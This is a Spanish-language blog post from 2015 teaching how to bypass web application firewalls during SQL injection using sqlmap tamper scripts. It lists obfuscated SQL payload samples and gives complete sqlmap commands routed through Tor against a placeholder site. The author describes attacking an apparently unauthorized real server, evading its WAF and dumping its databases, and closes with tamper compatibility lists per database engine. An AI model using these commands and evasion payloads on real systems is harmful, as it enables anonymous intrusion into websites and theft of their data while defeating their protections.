jueves, 29 de octubre de 2015

Bypasseando WAF con Sqlmap & Tamper


Saludos mis fieles lectores estuve leyendo algunos mensajes de mis seguidores y me comentaban lo siguiente ¿Como Bypassear el WAF de los servidores web para ataques de inyección SQL? ya que no hay mucha información sobre que tipo de de insertacion que contienen cada tamper en sus payloads, me tomare la molestia de pasarlo a explicar.

¿Que es un WAF?  

WAF - Web Application Firewall (Aplicación de corta fuegos Web), es un servicio de filtros contra ataques de código malicioso como los conocidos "XSS" - Cross-Site-Scripting, "SQL inyección", "RFI" - Remote File Inclusión, "DoS" - Denegación de servicios, "DDoS" - Distribución de denegación de servicios, entre otros ataques detectados pasaran a ser bloqueados por este servicio de filtros.


Existen muchos, pero algunos conocidos y familiarizados con la mayoría de plataformas son:



  1. ModSecurity
  2. Naxsi-Nginx


¿Que es un Tamper?

Un Tamper es un aplicativo open source creado en python compatible con sqlmap, para las funciones de insertar payloads camuflados, mediante envíos de peticiones de sintaxis a la base de datos burlando algunas aplicaciones de protección web, como los conocidos "WAF"

La ubicación los tampers se encuentren en el siguiente directorio: /usr/share/sqlmap/tamper


Funciones y codificaciones de los Tamper mas utilizados


--------------------------------------------------------------------------------------------------------------------------
space2comment.py         - Sustituye un carácter de espacio >>  " ( ' ') ", con inserciones ' / ** /' 
--------------------------------------------------------------------------------------------------------------------------
charencode.py                 - codifica todos los caracteres con numérico   44%20%54%20% 
--------------------------------------------------------------------------------------------------------------------------
base64encode.py            - convierte todo los caracteres en codificación base64 
'MScgQU5EIFNMRUVQKDUpIw=='
--------------------------------------------------------------------------------------------------------------------------
randomcomments.py     - Añade comentarios al azar mediante búsquedas de palabras MySQL
'I/**/N/**/SERT'
--------------------------------------------------------------------------------------------------------------------------
versionedkeywords.py   - Especifica cada palabra clave de versión de búsqueda MySQL 
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR
--------------------------------------------------------------------------------------------------------------------------
space2randomblank.py - Sustituye carácter de espacio ('') con un carácter en blanco al azar 'SELECT%0Did%0DFROM%0Ausers' 
--------------------------------------------------------------------------------------------------------------------------
modsecurityversioned.py ejecuta consulta completa con comentario versionado 
'1 /*!30874AND 2>1*/--'
--------------------------------------------------------------------------------------------------------------------------
equaltolike.py - Reemplaza todas las apariciones de operador igual ('=') con el operador 'LIKE'
'SELECT * FROM users WHERE id LIKE 1'
--------------------------------------------------------------------------------------------------------------------------
randomcase.py - Reemplaza cada personaje de palabras clave con el valor de caso fortuito 'INseRt'
--------------------------------------------------------------------------------------------------------------------------

Ojo: cada tamper tiene como función única para uno o varios tipos de lenguajes de base de datos. 

Si desean saber mas funciones de algunos Tamper's pueden verlo en los repertorios de cada uno en el siguiente enlace:


https://github.com/sqlmapproject/sqlmap/tree/master/tamper

Burlando WAF mediante SQL inyección 


En esta oportunidad escogí un servidor web como conejillo de indias para poder llevar acabo el servicio de ataque, en mi caso haré una inyección en el parámetro GET  vulnerable con los comandos básicos de sqlmap con el TOR.

sqlmap -u http://www.ejemplopaginaweb.com/galeria.php?categoria=2 --tor --check-tor --tor-port=9150 --tor-type=SOCKS5 --level=5 --risk=3 --random-agent

Si bien es cierto el testeo nos arroja que es "Inyectable", luego para nuestra mala suerte nos arroja que es un falso positivo, pero concatena sintaxis, en el parámetro categoría

Entonces al ejecutar el servidor de un falso positivo,me pide que ejecute el "--no-cast"para cargar los payload para el testeo de los nombres de las base se datos, muchos ya se hubieran rendido porque este proceso en su mayoría no es tan útil al momento de extraer las tablas o columnas de la base de datos.

Entonces observando que el servidor esta en MySQL puedo añadir el tamper space2comment, pero también puedo jugar con otro tamper añadiéndolo al testeo como charencode.

root@kali:~# sqlmap -u http://www.ejemplopaginaweb.com/galeria.php?categoria=2 --tor --tor-port=9150 --tor-type=SOCKS5 --tamper="space2comment,charencode.py" --level=5 --risk=3 -v 3 --random-agent --dbs --no-cast 


vemos que nuestro testeo esta corriendo y vemos aviso del WAF, ya que hemos personalizado el TEST con un escaneo mas extenso gracias al servicio Verbose que le añadimos el rango 3,  -v 3 enviamos una petición carácter y numérica, entonces nuestro payload se esta ejecutando con perfección

Hemos burlado el WAF y por ende extraído las base de datos de dicho servidor, mientras hay otros tamper que son detectados por los corta fuegos, dándonos como mensaje lo siguiente:

es por eso que se deben interactuar con cada tamper para que trate de bypassear los diferentes tipos de WAF, para poder ejecutar las sentencias de ofuscación, recuerden que cada Tamper esta elaborad para cada tipo de estructura de lenguaje web, como jsp, asp, aspx, php.

Compatibilidad de los tamper con los tipos de estructuras de base de  datos:

MySQL
  • space2randomblank,
  • unionalltounion
  •  unmagicquotes
  • versionedkeywords
  • versionedmorekeywords
  • xforwardedforbetween
  • bluecoat
  • charencode
  • charunicodeencode
  • concat2concatws
  • equaltolike
  • greatest
  • halfversionedmorekeywords
  • ifnull2ifisnull
  • space2morehash
  • space2mysqldash
  • space2plus
  • modsecurityversioned
  • modsecurityzeroversioned
  • multiplespaces
  • securesphere
  • space2comment
  • space2hash 
  • nonrecursivereplacement
  • percentage
  • randomcase
 MSSQL:
  • sp_password
  • space2comment
  • space2dash
  • space2mssqlblank
  • space2mysqldash
  • space2plus
  • space2randomblank
  • charencode
  • charunicodeencode
  • equaltolike
  • greatest
  • unionalltounion
  • unmagicquotes
  • multiplespaces
  • nonrecursivereplacement
  • percentage
  • randomcase
  • securesphere
MSAccess:
  • modsecurityversioned
  • modsecurityzeroversioned
  • equaltolike
  • greatest
  • halfversionedmorekeywords
  • nonrecursivereplacement
  • percentage
  • randomcase
  • securesphere
  • between
  • bluecoat
  • charencode
  • charunicodeencode
  • concat2concatws
  • space2comment
  • space2hash
  • space2morehash
  • space2mysqldash
  • space2plus
  • space2randomblank
  • unionalltounion
  • unmagicquotes
  • versionedkeywords
  • versionedmorekeywords
  • ifnull2ifisnull
  • multiplespaces
PostgreSQL:
  • xforwardedfor
  • space2comment
  • space2plus
  • space2randomblank
  • between
  • charencode
  • charunicodeencode
  • equaltolike
  • greatest
  • multiplespaces
  • nonrecursivereplacement
  • percentage
  • randomcase
  • securesphere
  • between


SQLite:
  • space2plus
  • unionalltounion
  • unmagicquotes
  • xforwardedfor
  • ifnull2ifisnull
  • randomcase
  • securesphere
  • space2comment
  • space2dashmmultiplespaces
  • nonrecursivereplacement
Saludos!!

0 comentarios:

Publicar un comentario